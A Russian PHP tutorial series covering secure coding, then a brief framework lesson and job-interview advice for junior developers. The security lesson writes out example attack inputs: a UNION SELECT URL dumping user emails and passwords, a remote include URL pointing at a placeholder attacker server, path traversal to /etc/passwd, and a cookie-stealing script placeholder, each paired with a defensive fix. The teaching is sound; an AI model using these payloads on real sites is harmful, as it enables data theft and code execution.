Учимся писать безопасный код на PHP
Для тех, кто хоть как-то касался темы безопасности, знают, что защита информации – это непрекращающийся процесс. Он должен обеспечивать в отношении информации:
- доступность;
- целостность;
- конфиденциальность.
Мне в университете вдалбливали это в голову на протяжении всех пяти лет обучения =)
Этот процесс может обеспечивать какой-то уровень защиты, но при этом невозможно добиться 100% безопасности. Но наша задача как программистов – максимально обезопасить приложение от разного типа угроз.
Ошибки при разработке
Угрозы существуют совершенно разные, и, к сожалению, не все их можно предугадать. Однако существуют наиболее распространенные ошибки, приводящие к появлению уязвимостей в приложениях. В этой статье мы рассмотрим самые популярные типы ошибок, а также способы борьбы с ними. Итак, поехали.
Работа с базами данных – SQL-инъекции
Почему этот пункт первый? Да потому что это – самое важное. В базе данных хранятся все данные о ваших пользователях, именно это интересно вашим конкурентам и прочим злодеям в первую очередь.
Давайте рассмотрим пример уязвимого кода.
<?php
$id = $_GET['id'];
$sql = 'SELECT name, text FROM posts WHERE id = ' . $id;
$db = new mysqli('127.0.0.1', 'root', '', 'database');
$query = $db->query($sql);
$post = $query->fetch_assoc();
echo $post['name'];
echo '<br>';
echo $post['text'];
Здесь у нас в SQL-запрос попадают пользовательские данные. У нас есть база с записями. Мы ищем конкретную запись и выводим поля из базы данных – name и text .
Коварство этого кода в том, что прямо в адресной строке человек может написать следующее:
http://myproject.loc/?id=-1 UNION SELECT email as name, password as text FROM users WHERE id = 1
И наш запрос в базу данных примет следующий вид:
SELECT name, text FROM posts WHERE id = -1 UNION SELECT email as name, password as text FROM users WHERE id = 1
UNION позволяет объединять несколько запросов в один. В параметре мы передали номер несуществующей записи: -1 и первая часть запроса нам ничего не вернула. Затем, во второй части запроса мы обратились к таблице users и выдернули поля email и password , попросив назвать их в выборке как name и text . Этот запрос выполнился, и мы получили в результате email пользователя и его пароль на странице вывода новостей.
Решение – PDO
PDO позволяет защититься от SQL-инъекций , позволяя подставлять корректные данные в нужные места. Это происходит благодаря биндингу передаваемых данных – мы задаём определённые подстановки в запросе, а затем передаём нужные для них значения. Код получится таким:
$id = $_GET['id'];
$sql = 'SELECT name, text FROM posts WHERE id = :id';
$dbh = new \PDO(
'mysql:host=127.0.0.1;dbname=database;',
'root'
);
$sth = $dbh->prepare($sql);
$sth->execute([':id' => $id]);
$post = $sth->fetch(\PDO::FETCH_ASSOC);
echo $post['name'];
echo '<br>';
echo $post['text'];
Здесь мы назвали подстановку :id и затем в методе execute передали для неё значение. Всегда используйте PDO и биндинг значений, это не позволит прокинуть что-либо опасное в ваш SQL-запрос.
PHP-injection
Это приём, позволяющий злоумышленнику выполнить произвольный код на сайте. Простой пример: статьи сайта представляют собой файлы с текстом. Для их открытия используется конструкция include , которая принимает в себя get-параметры.
Remote File Injection
<?php
$file = $_GET['page']; //Отображаемая страница
include $file;
Чтобы посмотреть статью, хранящуюся в файле main , используется такой URL:
/index.php?page=main
Злоумышленник может подставить вместо main адрес до скрипта с вредоносным кодом, например так:
http://www.атакуемый_сайт.com/index.php?page=http://www.атакующий_серв.com/вредоносный_скрипт.txt
И будет загружен код с сайта, так как функция include позволяет выполнять код с удаленных серверов.
Давайте также рассмотрим код, который добавляет к имени файла из параметров какое-нибудь расширение.
<?php
$file = $_GET['page']; //Отображаемая страница
include $file . '.php';
Такую ситуацию можно легко обойти, подставив в get-параметр в конце адреса вопросительный знак.
Тогда URL для взлома будет похож на следующий:
http://www.атакуемый_сайт.com/index.php?page=http://www.атакующий_серв.com/вредоносный_скрипт.txt?
При этом в PHP будет выполнен инклуд файла:
http://www.атакующий_серв.com/вредоносный_скрипт.txt?.php
Как видим, здесь расширение превратилось в query-параметр и будет просто проигнорировано.
Local File Injection
Разумеется, такой код можно использовать и для доступа к секретным файлам на самом сервере. Например, просто указав путь в параметре.
http://www.атакуемый_сайт.com/index.php?page=/etc/passwd
И файл будет выведен в браузере злоумышленника.
Если в начале подключаемого файла имеется какой-то путь, то может использоваться только локальная инъекция.
<?php
$file = $_GET['page']; //Отображаемая страница
include 'articles/' . $file;
При этом могут использоваться только относительные пути.
http://www.атакуемый_сайт.com/index.php?page=../../../../etc/passwd
Их могут как подбирать, так и узнать путь до текущего скрипта при возникновении ошибки (если на сервере включен показ ошибок, что является большой ошибкой). Например, передав в get-параметр какую-то несуществующую абракадабру, злоумышленник получит ошибку, при этом будет выведена информация о файле, в котором произошла ошибка. А именно его путь. Используя его можно уже предполагать о примерном расположении разных файлов.
Защита от PHP-инъекций
Можно придумать кучу разных фильтраций. Но я бы посоветовал придерживаться правила – не допускать попадания данных от пользователя в include, require, eval .
XSS-атаки
Тут история следующая. Например, у вас на сайте есть форма для добавления комментариев. И если вы берёте данные от пользователя, сохраняете их и затем выводите комментарии в неизменном виде, то злоумышленник может попросту вставить в тексте код на JavaScript.
Текст комментария. Бла-бла-бла.
<script>а тут отправка cookie-файлов на сайт злоумышленника</script>
Выход – использовать функцию htmlentities()
echo htmlentities('<script>');
Результат:
<script>gt;
Она преобразует символы вроде открывающих скобок в специальные символы, которые браузер отображает как те же скобки и не воспринимает их как теги.
То есть в браузере посетитель увидит просто текст:
<script>
CSP
Ещё одно решение – использовать заголовки Content Security Policy . Если вкратце – они позволяют ограничить ресурсы, к которым разрешаются разного типа запросы. Можно указать откуда можно использовать ресурсы. Мне по теме CSP нравится вот эта статья.
Что ещё следует знать о безопасной разработке
Помимо самых типовых уязвимостей есть ещё некоторые лучшие практики, позволяющие сделать код более безопасным. Давайте их рассмотрим.
Валидация и санитация данных
Все данные от пользователей, обрабатываемые вашим кодом, являются потенциально опасными. Кроме того, зачастую нам нужно попросту добиться того, чтобы данные поступали к нам и хранились в каком-то определенном формате. Таким образом мы можем говорить о некоторой предсказуемости работы над ними. В этом нам помогут валидация и санитация данных.
Валидация подразумевает под собой проверку того, что данные являются тем, что мы ожидаем. Например, телефон может быть записан в разных форматах – с плюсиком в начале, с кодом города в скобках, со знаками тире. И тем не менее это будет правильный телефон. Результатом валидации является булево значение – данные либо корректны, либо нет.
Санитация позволяет очистить данные от лишней шелухи. На примере с тем же телефоном: независимо от того, что мы передали, в результате санитации будет получена строка вида 79130000000.
Что нам в этом плане предлагает PHP
Во-первых – это приведение типов . Все id, которые передаёт пользователь стоит приводить к integer (и не только это, нужно всё приводить к нужному типу).
public function view(int $id);
Во-вторых – регулярные выражения . В PHP существует много функций для работы с регулярными выражениями. Работают они очень быстро, так как библиотеки для работы с ними написаны на C и работа с регулярками происходит на очень низком уровне.
В-третьих, есть встроенная функция filter_var() , которая позволяет как валидировать, так и производить санитацию. Например, чтобы провалидировать email, достаточно написать:
filter_var($email, FILTER_VALIDATE_EMAIL)
Однако вместо этого часто в коде можно увидеть регулярки на сотни символов. Не надо так, всё уже сделано за вас.
Шифрование
В первую очередь, хочу сказать, что шифрование – это очень сложная тема, и нужно понимать, что скорее всего вы понимаете её очень поверхностно. Однако есть специально обученные люди, которые занимаются данной темой, и они предлагают лучшие практики, которых стоит придерживаться. В данной статье мы поговорим о хэшировании. Данная процедура подразумевает под собой одностороннее шифрование, после которого из получившегося значения невозможно восстановить исходное.
Данный приём часто используется для хранения паролей. Делается это для того, чтобы не хранить исходные пароли пользователей. Так как многие пользователи используют одинаковые пароли на разных сайтах, и если базу с одного сайта украдут и увидят пароли в открытом виде, то скорее всего эти же логин и пароль подойдут и к другим сайтам. Итак, как же это реализуется. Для проверки пароля мы просто шифруем введенный в форму логина пароль по тому же алгоритму и сравниваем значения. Если они совпали – пароль верный.
Долгое время для этого использовался алгоритм MD5 . Для создания такого хэша в php есть встроенная функция md5() . Вот пример её использования.
echo md5('password');
5f4dcc3b5aa765d61d8327deb882cf99
В результате хэширования этим алгоритмом получится шестнадцатибайтный код в шестнадцатеричном представлении. Как вы понимаете, число всех возможных хэшей является конечным. Поэтому в результате хэширования двух разных значений может получиться одинаковый хэш. Это называется коллизией. Этим страдают все хэш-функции. Увы, мир несовершенен. Так вот возвращаясь к алгоритму MD5 – сейчас для него существуют так называемые радужные таблицы ( rainbow tables ), которые позволяют получить значение (не обязательно исходного), которое после хэширования будет совпадать со значением захэшированного исходного значения. Таким образом, зная хэш, можно быстро получить пароль, который позволит войти на сайт.
Потом придумали добавлять соль . Или, как ещё выражаются, «солить хэши». Суть в том, что к исходному паролю добавляется какой-то текст. В результате получается другой хэш.
echo md5('password' . 'salt');
b305cadbb3bce54f3aa59c64fec00dea
Когда пользователь вводит пароль, мы также добавляем к его паролю эту строку, хэшируем получившееся значение и затем сравниваем получившееся значение со значением в БД.
Таким образом обеспечивается защита от Rainbow Tables, так как вероятность коллизии уменьшается за счёт того, что в хэшируемом тексте обязательно должна совпасть соль.
Составлять для подсоленных значений радужные таблицы никто не будет, однако MD5 даже с солью на сегодняшний день довольно быстро подбирается, особенно если это кому-то очень нужно.
Итак, использование MD5 – это ошибка. Это устаревший, небезопасный алгоритм. Которым, тем не менее, многие продолжают пользоваться.
Как же быть с хранением паролей?
Сейчас в PHP есть специальные функции для хэширования, которые используют современные алгоритмы шифрования. Это функции _password hash() и _password verify() . Первая функция создаёт хэш для значения.
echo password_hash('password', PASSWORD_DEFAULT);
$2y$10$Ot7AIHSuyDo13Kj6fl2ZOOc7fVCX6fmWx11H6qZQE/J4SLwpN.qQ6
Во вторую передаются введенный пароль и хэш, полученный первой функцией. В результате вернётся false или true , в зависимости от того, правильный ли пароль.
var_dump(
password_verify(
'password',
'$2y$10$Ot7AIHSuyDo13Kj6fl2ZOOc7fVCX6fmWx11H6qZQE/J4SLwpN.qQ6'
)
);
boolean true
В эти функции уже встроена работа с солью, и она автоматически добавляется в хэш при его создании, и так же извлекается из хэша при сравнении его с введенным паролем. Используйте эти функции и будет вам счастье.
Заключение
В этой статье я лишь поверхностно рассказал о наиболее популярных ошибках начинающих разработчиков, а также привёл примеры того, как нужно с ними бороться. Сейчас я бы посоветовал вам изучить каждое из этих направлений более детально, чтобы понимать, чего стоит бояться в первую очередь. Гугл вам в помощь.
Какие ещё бывают факапы в плане безопасности?
Разумеется, у всех бывают факапы, все мы люди. Недавно и у меня был - в файле конфигурации проекта лежал пароль от почты для отправки писем по imap. Забыл запретить этот конфигурационный файл в .gitignore , как результат – пароль оказался в открытом доступе на github . К счастью, нашёлся человек, который написал мне об этой ошибке. Пароль я тут же поменял, а человека отблагодарил небольшим материальным бонусом. Разумеется, мне сильно повезло. Ведь имея доступ к почте, можно было получить доступ к отправленным письмам и слить базу пользователей. Или, что ещё хуже, разослать им с этой почты какую-нибудь гадость.
Решение в данном случае следующее – игнорить все конфиги в .gitignore сразу при их создании, а лучше вообще выносить их за пределы репозитория.
А какие ошибки в плане безопасности совершали Вы? Пишите в комментариях, предупредим друг друга о возможных ошибках.
Пишем свой фреймворк на PHP
В этом уроке мы с вами напишем свой мини-фреймворк на PHP. Фреймворк – это такой каркас приложения, на базе которого строится приложение. Он позволяет разрабатывать приложение быстрее за счет того, что содержит в себе реализацию основных компонентов: роутинг, контроллеры, слой для работы с базой данных, работу с шаблонами.
Так вот, дорогие мои ученики. Я вас поздравляю с тем, что вы уже написали свой собственный фреймворк для сайта, и в этом уроке ничего писать не нужно.
Только задумайтесь, какой проект вы уже написали самостоятельно! Для того, чтобы добавить новый функционал на блог, вам достаточно создать экшен в контроллере, прописать роутинг, добавить класс для новой модели и создать шаблончик – вся остальная обвязка уже имеется.
Большинство современных фреймворков включают в себя все то, что мы с вами написали самостоятельно. Конечно, там все несколько сложнее, чем в наших примерах. Но суть – та же. Это реализация архитектуры MVC с роутингом, просто везде сделанная по-своему. Теперь вы сможете использовать другие фреймворки и понимать, как все работает внутри, а не думая, что происходит какая-то магия.
Так что, поздравляю вас с написанием своего фреймворка =)
И до встречи в следующем уроке!
Готовимся к собеседованию на должность Junior PHP Developer
Привет. Ну что, прошел все прошлые уроки? Красава! Теперь у тебя есть почти всё что нужно для устройства на работу программистом. Как это «почти всё»? Говорили же, что после курса можно устраиваться на работу. Да, но ведь этот урок – это всё ещё продолжение курса. И именно в этом уроке исчезнут все «почти» и ты будешь готов завтра идти на собеседование. Готов? Поехали!
Итак, первое, что нужно сделать – это написать мне в личку о том, что ты закончил курс. Я предоставлю тебе дополнительный список уроков, актуальный на сегодняшний день. Всё, что нужно знать о программировании на PHP для джуниора ты уже знаешь. Я дам лишь небольшое дополнение о программировании в целом, и о том, что необходимо современному разработчику помимо PHP.
Второе. Тебе нужно сделать резюме. На сегодняшний день поиск работы программистом в России стоит производить только на сайте hh.ru – здесь больше всего вакансий в сфере IT. В резюме стоит указать зарплату – указывай среднюю для джуниора по своему городу. Узнать её ты можешь на том же hh.ru, поискав резюме. Либо просто просмотрев вакансии для джунов – большинство компаний указывает зарплату. Следом пишешь о своих навыках – о тех, что ты приобрел в этом курсе: хорошее знание PHP, работа с MySQL, знание ООП, концепция ORM и Active Record, паттерн Singleton, архитектура MVC, PHP Reflection API, умение писать CLI, работа с cron, владение Composer, стандарты PSR, что такое REST API, какие бывают уязвимости: SQL-inj, XSS и другие. Все это красиво оформляешь и сохраняешь. Желательно также прикрепить фото – обычную фотку, главное чтобы без «странностей». И публикуешь резюме.
Третье. Не сиди сложа руки – не жди пока работодатели будут тебе писать. Начинай сам просматривать вакансии и отправлять отклики. Не смотри, что чего-то не знаешь, зачастую описание вакансий составляют некомпетентные люди, не знающие что на самом деле должен уметь джуниор. Это – правда. Не бойся и откликайся, на крайняк придешь на собеседование и скажешь, что без проблем готов научиться той или иной штуке. Пойми, к джуниору не предъявляют каких-то заоблачных требований – тебя будут учить другие программисты, и в компаниях это прекрасно понимают. Отправляй отклики сразу в несколько компаний – так ты повысишь свои шансы. И в несколько – это значит в 10 минимум.
Четвертое. Само собеседование. Они бывают самые разные: где-то готовы общаться только по скайпу, где-то с радостью приглашают в офис (и даже оплачивают перелет и проживание в другом городе на время собеседования). Помимо того, что нужно приходить вовремя и быть опрятным, дам несколько советов о том, как себя вести. Цель собеседования – выявить ваши знания и плюсы, а не «завалить». В какой-то момент вам могут задать вопрос, на который вы дадите ответ, следом может последовать вопрос в стиле «а еще как-нибудь можно решить?» или «а если так не получится потому что…». Вас не пытаются завалить, нет Ваш собеседник пытается посмотреть, готовы ли вы предлагать идеи в не самых приятных условиях. Не нужно в этот момент злиться на того кто вас собеседует, нужно попытаться накидать как можно больше вариантов. Разумеется, в какой-то момент они закончатся – в этот момент стоит улыбнуться и сказать: «я не знаю, что еще предложить». Это самая хорошая стратегия. Ну и стоит быть честным. Не знаешь чего-то – так и скажи. В остальном проведение собеседования – задача компании, а не ваша. Вам также дадут возможность задать вопросы – будет круто, если у вас будет заранее подготовленный список. Я так делал несколько раз – интервьюверам нравится, когда ты готовился.
До новых встреч
Я пока не знаю, что я буду делать дальше и будут ли еще курсы. Но что-нибудь интересное обязательно будет – проект я на этом не завершаю. Возможно начну делать разборы заданий с собеседований, а возможно – сделаю курс по какому-нибудь фреймворку. Так что, подписывайтесь на новости, чтобы ничего не пропустить. И до встречи!
По возможности, расскажите о моих курсах своим знакомым – репостом в соц. сетях или при личной встрече. Разумеется, если курс вам действительно понравился и был полезен. Также, буду рад отзыву мне в личку. Для меня это важно.
С наилучшими пожеланиями, Артём Ивашкевич.